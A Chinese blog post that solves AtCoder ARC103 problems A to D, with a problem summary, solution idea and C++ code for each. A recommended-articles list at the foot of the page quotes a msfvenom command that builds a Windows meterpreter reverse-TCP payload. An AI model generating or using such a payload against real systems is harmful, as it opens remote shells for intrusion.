ARC 103

窝是传送门QwQ

A.////

题意 :

给你\(n\)(\(n\)为偶数)个数 一次操作你可以修改任意一个数

问最少修改几次使得其满足以下条件

  • \(a_i=a_{i+2}\)
  • \(a_1!=a_2\)

数据约束

\(2 \leq n \leq 10^5\) , \(1 \leq a_i \leq 10^5\)

题解

对于下标为奇数的记下每个数出现的个数 在满足和偶数不重复的情况下 贪心肯定是尽量选大的嘛

偶数同理啊

Code

代码写丑了

  1. #include<bits/stdc++.h>
  2. #define fr(i,x,y) for(int i=x;i<=y;++i)
  3. #define rf(i,x,y) for(int i=x;i>=y;--i)
  4. #define LL long long
  5. using namespace std;
  6. const int N=1e5+10,M=1e5;
  7. int a[N];
  8. struct data{
  9. int id,w;
  10. }b[N],zz[5];
  11. int vis[N];
  12. bool cmp(data x,data y){
  13. return x.w>y.w;
  14. }
  15. int main(){
  16. int n;scanf("%d",&n);
  17. int ans=0,res=0;
  18. fr(i,1,n) scanf("%d",&a[i]);
  19. for(int i=1;i<=n;i+=2) vis[a[i]]++;
  20. fr(i,1,M) b[++res].id=i,b[res].w=vis[i];
  21. sort(b+1,b+1+res,cmp);
  22. zz[1]=b[1],zz[2]=b[2];
  23. memset(vis,0,sizeof vis);
  24. for(int i=2;i<=n;i+=2) vis[a[i]]++;
  25. res=0;
  26. fr(i,1,M) b[++res].id=i,b[res].w=vis[i];
  27. sort(b+1,b+1+res,cmp);
  28. zz[3]=b[1],zz[4]=b[2];
  29. int maxn=0;
  30. fr(i,1,2) fr(j,3,4){
  31. if(zz[i].id!=zz[j].id) maxn=max(maxn,zz[i].w+zz[j].w);
  32. }
  33. cout<<n-maxn<<endl;
  34. return 0;
  35. }

B.Robot Arms

题意

给你\(n\)个平面上的点 一个机器人从\((0,0)\)出发 执行\(m\)次操作 每次操作可以往上下左右走\(d_i\)长度

\(d_i,m\)是自己构造的 使得对于给出的点 每次机器人从\((0,0)\)出发 走\(m\)步上下左右构造

数据约束

\(m \leq 40 ,\) \(1 \leq n \leq 1000\) ,\(-10^9 \leq x,y \leq 10^9\)

题解

二进制拆分

Code

  1. #include<bits/stdc++.h>
  2. #define fr(i,x,y) for(int i=x;i<=y;++i)
  3. #define rf(i,x,y) for(int i=x;i>=y;--i)
  4. #define LL long long
  5. using namespace std;
  6. const int N=1010;
  7. struct data{
  8. LL x,y;
  9. }a[N];
  10. int dx[4]={1,0,-1,0};
  11. int dy[4]={0,-1,0,1};
  12. char ch[4]={'R','D','L','U'};
  13. vector<LL>v;
  14. int main(){
  15. int n;scanf("%d",&n);
  16. fr(i,1,n) scanf("%lld%lld",&a[i].x,&a[i].y);
  17. int flg=0;
  18. fr(i,1,n){
  19. if(i==1) flg=(a[i].x+a[i].y)&1;
  20. else if(flg!=((a[i].x+a[i].y)&1)) return printf("-1\n"),0;
  21. }
  22. rf(i,30,0) v.push_back(1LL<<i);
  23. if(!flg) v.push_back(1);
  24. int len=v.size();
  25. printf("%d\n",len);
  26. fr(i,0,len-1) printf("%lld ",v[i]);
  27. puts("");
  28. fr(i,1,n){
  29. LL xx=a[i].x,yy=a[i].y;
  30. fr(j,0,len-1){
  31. LL minn=1e18,res=-1;
  32. fr(o,0,3){
  33. LL nx=xx-v[j]*dx[o],ny=yy-v[j]*dy[o];
  34. if(minn>abs(nx)+abs(ny)) minn=abs(nx)+abs(ny),res=o;
  35. }
  36. xx-=v[j]*dx[res],yy-=v[j]*dy[res];
  37. printf("%c",ch[res]);
  38. }
  39. puts("");
  40. }
  41. return 0;
  42. }

C.Tr/ee

题意

给你一个序列\(s[]\) 构造出一棵\(n\)个节点的树

如果\(s_i==1\)使得删除一条边之后可以得到一个大小为\(i\)的联通块

数据约束

\(2 \leq n \leq 10^5\) ,\(s=0或1\)

题解

显然,如果你能得到\(i\)大小的联通块 那么你肯定可以得到\(n-i\)的联通块。

菊花图。

感觉菊花图好像对于这种构造题有奇效

考虑一个\(m\)个点的菊花图 那么随便怎么切 都只能得到\(m-1\)和1的联通块

如果有一棵大小为\(m_1\)和\(m_2\)的菊花图 将他们合并 变成

那么我们就可以得到\(m_1-1\)和\(m_2-1\)和\(m_1+m_2-2\)大小的联通块

Code

  1. #include<bits/stdc++.h>
  2. #define fr(i,x,y) for(int i=x;i<=y;++i)
  3. #define rf(i,x,y) for(int i=x;i>=y;--i)
  4. #define LL long long
  5. using namespace std;
  6. const int N=1e5+10;
  7. char lx[N];
  8. int main(){
  9. scanf("%s",lx+1);
  10. int n=strlen(lx+1);
  11. if(lx[n]=='1'||lx[1]=='0'||lx[n-1]=='0') return printf("-1\n"),0;
  12. fr(i,1,n/2) if(lx[i]!=lx[n-i]) return printf("-1\n"),0;
  13. int nw=2,rt=2,nm=1;
  14. printf("1 2\n");
  15. fr(i,2,n/2){
  16. if(lx[i]=='1'){
  17. printf("%d %d\n",++nw,rt);
  18. rt=nw;
  19. } else printf("%d %d\n",++nw,rt);
  20. nm++;
  21. }
  22. fr(i,nm+1,n-1) printf("%d %d\n",++nw,rt);
  23. return 0;
  24. }

D.Distance Sums

题意

给你一个\(n\)个数的数组\(d[]\) , 请你构造一个\(n\)个节点的树 使得满足

  • 节点从1标号到\(n\)
  • 对于一个节点\(i\) 树上所有节点到\(i\)的距离之和为\(d[i]\)(每条边的长度为1

数据约束

\(2 \leq n \leq 10^5\) ,\(1 \leq d_i \leq 10^{12}\)

题解

首先叶子节点的\(d\)值肯定是坠大的嘛QwQ..这点应该没有任何问题

然后就是根据一个被某位神仙d成显然的性质

对于\((u,v)\) \(u\)有一条边连向\(v\)

那么有 \(d[u]+sz[u]-(n-sz[u])==d[v]\)

\(\Rightarrow\) \(u\)的他的父亲是谁啦~

最后不要忘记判一下根节点是否满足条件哦~

Code

  1. #include<bits/stdc++.h>
  2. #define fr(i,x,y) for(int i=x;i<=y;++i)
  3. #define rf(i,x,y) for(int i=x;i>=y;--i)
  4. #define LL long long
  5. using namespace std;
  6. const int N=1e5+10;
  7. struct data{
  8. int nt,to;
  9. }a[N<<1];
  10. map<LL,int>ys;
  11. int cnt=0,head[N],sz[N];
  12. LL d[N],dis[N];
  13. template <class T>
  14. void read(T &x){
  15. char ch=getchar();x=0;
  16. for(;ch<'0'||ch>'9';ch=getchar()) ;
  17. for(;ch>='0'&&ch<='9';ch=getchar()) x=(x<<1)+(x<<3)+(ch^48);
  18. }
  19. void add(int x,int y){
  20. a[++cnt].to=y,a[cnt].nt=head[x],head[x]=cnt;
  21. a[++cnt].to=x,a[cnt].nt=head[y],head[y]=cnt;
  22. }
  23. void fail(){
  24. printf("-1\n");
  25. exit(0);
  26. }
  27. void dfs(int u,int fa){
  28. for(int i=head[u];i;i=a[i].nt){
  29. if(a[i].to==fa) continue;
  30. dis[a[i].to]=dis[u]+1;
  31. dfs(a[i].to,u);
  32. }
  33. }
  34. int main(){
  35. int n;read(n);
  36. fr(i,1,n) read(d[i]),ys[d[i]]=i;
  37. sort(d+1,d+1+n);
  38. fr(i,1,n) sz[i]=1;
  39. rf(i,n,2){
  40. int u=ys[d[i]];
  41. int gg=n-2*sz[u];
  42. if(gg<0) fail();
  43. LL pos=d[i]-gg;
  44. if(!ys.count(pos)) fail();
  45. sz[ys[pos]]+=sz[u];
  46. add(ys[pos],u);
  47. }
  48. dfs(ys[d[1]],0);
  49. fr(i,1,n) d[1]-=dis[i];
  50. if(d[1]) fail();
  51. fr(u,1,n){
  52. for(int i=head[u];i;i=a[i].nt){
  53. if(i&1) printf("%d %d\n",a[i].to,u);
  54. }
  55. }
  56. return 0;
  57. }

AtCoder | ARC103 | 瞎讲报告的更多相关文章

  1. AtCoder | ARC102 | 瞎讲报告

    目录 ARC102 前言 正文 传送链接~ ARC102 前言 实在是太菜了....写完第一题就弃疗..感觉T3好歹也是道可做题吧!!然后T2怎么又是进制拆分! 正文 A 题意 给你两个数字\(n,k ...

  2. Codeforces1101 | EducationalRound58 | 瞎讲报告

    目录 Educational Codeforces Round 58 (Rated for Div. 2) A. Minimum Integer B. Accordion C. Division an ...

  3. Codeforces70 | Codeforces Beta Round #64 | 瞎讲报告

    目录 前言 正文 A B C D E 前言 这个毒瘤的517 放了Div1 然后D题是昨天讲的动态凸包(啊喂!我还没来的及去写 结果自己想的是二分凸包 (当然没有写出来 写完前两题之后就愉快地弃疗 C ...

  4. Codeforces1151E,F | 553Div2 | 瞎讲报告

    传送链接 E. Number of Components 当时思博了..一直在想对于\([1,r]\)的联通块和\([1,l-1]\)的联通块推到\([l,r]\)的联通块...我真的是傻了..这题明 ...

  5. Codeforces1084 | Round526Div2 | 瞎讲报告

    目录 A. The Fair Nut and Elevator B.Kvass and the Fair Nut C.The Fair Nut and String D.The Fair Nut an ...

  6. 【瞎讲】 Cayley-Hamilton 常系数齐次线性递推式第n项的快速计算 (m=1e5,n=1e18)

    [背诵瞎讲] Cayley-Hamilton 常系数齐次线性递推式第n项的快速计算 (m=1e5,n=1e18) 看CSP看到一题"线性递推式",不会做,去问了问zsy怎么做,他并 ...

  7. [NOIP2018模拟赛10.25]瞎搞报告

    闲扯 最近有点颓,都修到好晚,早上起来和吔shi一样难受 忍着困意把题面看完,发现啥也不会,又是一场写暴力的模拟赛 T1发现似乎可以DP,顺手码了个 T2像个最小瓶颈路板子,但是只做过N^2算法的.. ...

  8. <老友记>学习笔记

    这是六个人的故事,从不服输而又有强烈控制欲的monica,未经世事的千金大小姐rachel,正直又专情的ross,幽默风趣的chandle,古怪迷人的phoebe,花心天真的joey——六个好友之间的 ...

  9. SQL Server数据库定时自动备份

    SQL Server 数据库定时自动备份[转]   在SQL Server中出于数据安全的考虑,所以需要定期的备份数据库.而备份数据库一般又是在凌晨时间基本没有数据库操作的时候进行,所以我们不可能要求 ...

随机推荐

  1. 安卓预览报错 Failed to load AppCompat ActionBar with unknown error

    报错信息 : Render ProblemFailed to load AppCompat ActionBar with unknown error. Failed to instantiate on ...

  2. Day4 JavaScript(二)dom操作

    dom(文档对象模型) 文档结构 文档加载,转换为文档对象模型.将所有的标签,文本,属性转换为dom节点,形成一棵dom树. 标签,元素,节点: <a> 标签开始到结束的部分 标签,文本, ...

  3. msf后渗透

    生成exe后门 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.131 lport=4444 -f exe -o 4444.e ...

  4. 20145203盖泽双:Java实验报告二

    Java实验报告二:Java面向对象程序设计 实验要求: 初步掌握单元测试和TDD 理解并掌握面向对象三要素:封装.继承.多态 初步掌握UML建模 熟悉S.O.L.I.D原则 了解设计模式 实验内容 ...

  5. Jython的应用

    今天本文围绕主要内容是jython是什么.安装.简单实用. 另外说说我为什么研究jython,研究它是有一个目的的,目的是将python代码转化为jar包以供安卓方面那边人脸识别,虽说目前人脸识别像阿 ...

  6. java中的对象和类

    1.类:类是一个模板,它描述一类对象的行为和状态. 一个类可以包含以下类型变量: 局部变量:在方法.构造方法或者语句块中定义的变量被称为局部变量.变量声明和初始化都是在方法中,方法结束后,变量就会自动 ...

  7. 利用java代码生成keyStore

    在前面的章节中介绍了如何利用KeyTool工具生成keyStore:传送门. 但是很多时候,在javaWeb项目中,比如给每个用户加上独特的数字签名,那么我们需要在创建用户的时候,给其生成独一无二的k ...

  8. Windows安装TensorFlow遇到错误

    1.先检查系统是64还是32位的,检查python版本是否相符合 2.windows系统上使用tensorflow需要python3.5版本

  9. Xcode下载模拟器太慢?

    在Xcode里下载模拟器,速度实在是太慢了.点击下载,卡住十几分钟才开始下载,并且龟速进行. 解决方案:获取模拟器下载地址,自己选择下载器进行下载. 找到下载链接 打开 Console.app(苹果电 ...

  10. iOS 折线图、柱状图的简单实现

    首先我得感谢某位博主,非常抱歉,因为之前直接下载博主提供这篇文章的demo,然后去研究了,没记住博主的名字.再次非常感谢. 而这个dome我又修改了一些,完善了一些不美观的bug,当然还有,后面会陆续 ...